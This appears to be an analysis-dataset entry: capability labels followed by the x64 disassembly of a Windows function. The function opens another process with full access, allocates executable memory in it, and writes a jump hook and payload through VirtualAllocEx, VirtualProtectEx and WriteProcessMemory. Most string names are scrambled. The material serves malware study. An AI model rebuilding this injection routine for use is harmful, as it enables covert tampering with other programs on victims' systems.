Function at 0x1800020c0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x18000a040]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rdi, rcx
mov qword [rbp - 0x50], rcx
mov dword [rbp - 0x38], 0x4e52454b
mov dword [rbp - 0x34], 0x41424c45
mov dword [rbp - 0x30], 0x642e4553
mov word [rbp - 0x2c], 0x6c6c
mov byte [rbp - 0x2a], 0
movsd xmm0, qword [str.CreateEventW]
movsd qword [rbp - 0x20], xmm0
mov eax, dword [0x180006598]
mov dword [rbp - 0x18], eax
movzx eax, byte [0x18000659c]
mov byte [rbp - 0x14], al
xor r13d, r13d
mov qword [rbp - 0x40], r13
mov rsi, qword gs:[0x60]
mov rax, qword [rsi + 0x18]
add rax, 0x20
mov rbx, qword [rax]
cmp rbx, rax
je 0x18000218a
nop word [rax + rax]
lea rdx, str.KERNELBASE.dll
mov rcx, qword [rbx + 0x40]
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
jne 0x180002230
mov rbx, qword [rbx]
mov rax, qword [rsi + 0x18]
add rax, 0x20
cmp rbx, rax
jne 0x180002160
lea rdx, str.XaVbimxu
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180003ac0
mov rcx, rax
lea rdx, [rbp - 0x38]
call fcn.180003ac0
mov rcx, rax
lea rdx, [0x180003c90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rdi]
test rcx, rcx
je 0x1800021fe
mov rdx, qword [rdi + 0x10]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x1800021ee
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180002734
mov rcx, r8
call fcn.180004190
mov qword [rdi], r13
mov qword [rdi + 8], r13
mov qword [rdi + 0x10], r13
mov eax, 0xfffffffe
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.180004170
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rbx, qword [rbx + 0x20]
test rbx, rbx
je 0x18000218a
lea rdx, str.KCDnNOPEjVvaMyfTZXqiBxJlLWHFmwtczkbGI
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180003ac0
mov rcx, rax
lea rdx, [0x180003c90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rbx
call fcn.180001cc0
mov r15, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test rax, rax
jne 0x180002293
lea rdx, str.GzabpL
call fcn.180003ac0
mov rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
jmp 0x1800021a9
lea rdx, str.iCUcvVYSnPqxhXBsIykuEp
call fcn.180003ac0
mov rcx, rax
mov rdx, r15
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x180003c90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x1f04
lea rcx, str.tHlBVqrCMbksuGwZTRUWIdXYmDSc
call fcn.180001040
xor edx, edx
mov ecx, 0x1fffff
mov r8d, 0x1f04
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
mov edx, 0x1f04
test rax, rax
jne 0x1800022fd
lea rcx, str.AEZBFuYcrGOyRTeqQXWtnb
call fcn.180001040
jmp 0x18000237b
lea rcx, str.dIRfkToONAewLcDvMnyZUYXiVGrB
call fcn.180001040
lea rcx, str.kiIvqaVAmPMGyoKhF
call fcn.180001040
mov rax, qword [rdi + 8]
sub rax, qword [rdi]
mov rsi, r15
and rsi, 0xfffffffffff70000
sub rsi, 0x70000000
lea rbx, [r15 + 0x70000000]
cmp rsi, rbx
jae 0x18000236e
add eax, 0x38
movsxd r12, eax
nop
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, r12
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test rax, rax
jne 0x1800023c9
add rsi, 0x10000
cmp rsi, rbx
jb 0x180002340
lea rcx, str.afFLHEhQJSwnZtXOGNVR
call fcn.180001040
nop
mov rcx, qword [rdi]
test rcx, rcx
je 0x1800023bf
mov rdx, qword [rdi + 0x10]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x1800023af
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180002734
mov rcx, r8
call fcn.180004190
mov qword [rdi], r13
mov qword [rdi + 8], r13
mov qword [rdi + 0x10], r13
mov eax, 0xffffff9d
jmp 0x180002203
mov rdx, rsi
lea rcx, str.rlECpvmOgXbkotUsRJehHAwyNqSDxzYLFfWjKITdaQun
call fcn.180001040
test rsi, rsi
je 0x18000236e
lea rdx, str.tlRvrXWcbqGegAx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180003ac0
mov rcx, rax
lea rdx, [0x180003c90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp - 0x20]
lea rcx, str.ypEjSCwdKxcseFHLrMYIXoRODqvmutzhlP
call fcn.180001040
mov rbx, qword [r15]
mov r8, rbx
mov rdx, r15
lea rcx, str.zKBTpnN
call fcn.180001040
lea rcx, str.SWbwBQCosDFntEOmialMcXJIyzvLTPHNrhKgUR
call fcn.180001040
mov qword [0x18000a0ba], rbx
lea rcx, str.RNMsHSVAXOalgQxneiKkjwzroqTuGhCBIWZdDvtFymcfPLYUb
call fcn.180001040
lea rdx, [rbp - 0x20]
lea rcx, str.kfVEJQxATYUPMBewZNnCiyKmoLRcWXljupHdbgFtsqh
call fcn.180001040
mov dword [rbp - 0x48], r13d
lea rax, [rbp - 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
lea r8d, [r9 - 0x38]
mov rdx, r15
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x180002487
lea rcx, str.YILiQfSxTdqzOynKrZvwJjWoephDXFEHGuklbgtNcPCARBsUM
jmp 0x180002375
lea rdx, [rbp - 0x20]
lea rcx, str.hqQOEIfZ
call fcn.180001040
lea rcx, str.JyETbwNjedFLSIpOkXcuQxUgABmaVGPvYzonRfWHrqCi
call fcn.180001040
mov eax, esi
sub eax, r15d
sub eax, 5
mov byte [rbp - 0x28], pe_nt_image_headers64
mov dword [rbp - 0x27], eax
mov qword [rsp + 0x20], r13
mov r9d, 0x40
lea r8d, [r9 - 0x3b]
lea rdx, [rbp - 0x28]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 5
lea r8, [rbp - 0x28]
mov rdx, r15
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rdx, [rbp - 0x20]
test eax, eax
jne 0x180002506
lea rcx, str.fUBnKjDEQzsmuCgoLkqi
call fcn.180001040
jmp 0x18000237b
lea rcx, [0x1800067c8]
call fcn.180001040
mov r15, qword [rdi + 8]
sub r15, qword [rdi]
add r15d, 0x38
lea rdx, str.ocHKPvCWzldhIRFNtbBuwqUrfaiGXgEsJxnAeDQkT
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180003ac0
mov rcx, rax
mov edx, r15d
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x180003c90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movsxd r12, r15d
mov rcx, r12
call fcn.18000449c
mov rbx, rax
mov rcx, qword [rdi]
mov r8, qword [rdi + 8]
sub r8, rcx
add rax, 0x37
lea rdx, [0x18000a0df]
cmp rbx, rdx
ja 0x1800025a3
lea r10, [0x18000a0a8]
cmp rax, r10
jb 0x1800025a3
mov rdx, rbx
sub r10, rbx
mov r9d, 0x38
nop dword [rax]
movzx eax, byte [r10 + rdx]
mov byte [rdx], al
lea rdx, [rdx + 1]
sub r9, 1
jne 0x180002590
jmp 0x1800025d0
movups xmm0, xmmword [0x18000a0a8]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [0x18000a0b8]
movups xmmword [rbx + 0x10], xmm1
movups xmm0, xmmword [0x18000a0c8]
movups xmmword [rbx + 0x20], xmm0
movsd xmm1, qword [0x18000a0d8]
movsd qword [rbx + 0x30], xmm1
test r8, r8
je 0x1800025f1
mov rdx, rbx
sub rdx, rcx
nop dword [rax + rax]
movzx eax, byte [rcx]
mov byte [rdx + rcx + 0x38], al
lea rcx, [rcx + 1]
sub r8, 1
jne 0x1800025e0
lea rdx, str.VuCgJAqwbHXtWreaonhcZmdpfNxTBEFKDyjOIsQRSPzvMiUkGY
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180003ac0
mov rcx, rax
mov edx, r15d
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, str.gotISZmdXhGBjwflDLNny
call fcn.180003ac0
mov rdx, rbx
mov rcx, rax
call fcn.180003ac0
mov rcx, rax
lea rdx, [0x180003c90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, [rbp - 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 4
mov r8, r12
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rdx, rsi
test eax, eax
jne 0x180002670
lea rcx, str.BRLUdvrcPOluVXKDqfJ
call fcn.180001040
jmp 0x18000237b
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
mov r9, r12
mov r8, rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, rsi
test eax, eax
jne 0x1800026a0
lea rcx, str.LyJnvzPQRsUBtrAjuhZiVkbOcpEFoN
call fcn.180001040
jmp 0x18000237b
movsxd r8, r15d
lea rax, [rbp - 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x1800026d3
mov rdx, rsi
lea rcx, str.WcPGNBCRsiUqkXhwJfSIj
call fcn.180001040
jmp 0x18000237b
lea rcx, str.xRtvFlDXhcWCkjYyiEdOTSoKnsQ
call fcn.180001040
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rcx, qword [rdi]
test rcx, rcx
je 0x180002203
mov rdx, qword [rdi + 0x10]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x18000271f
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180002734
mov rcx, r8
call fcn.180004190
mov qword [rdi], r13
mov qword [rdi + 8], r13
mov qword [rdi + 0x10], r13
jmp 0x180002203
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3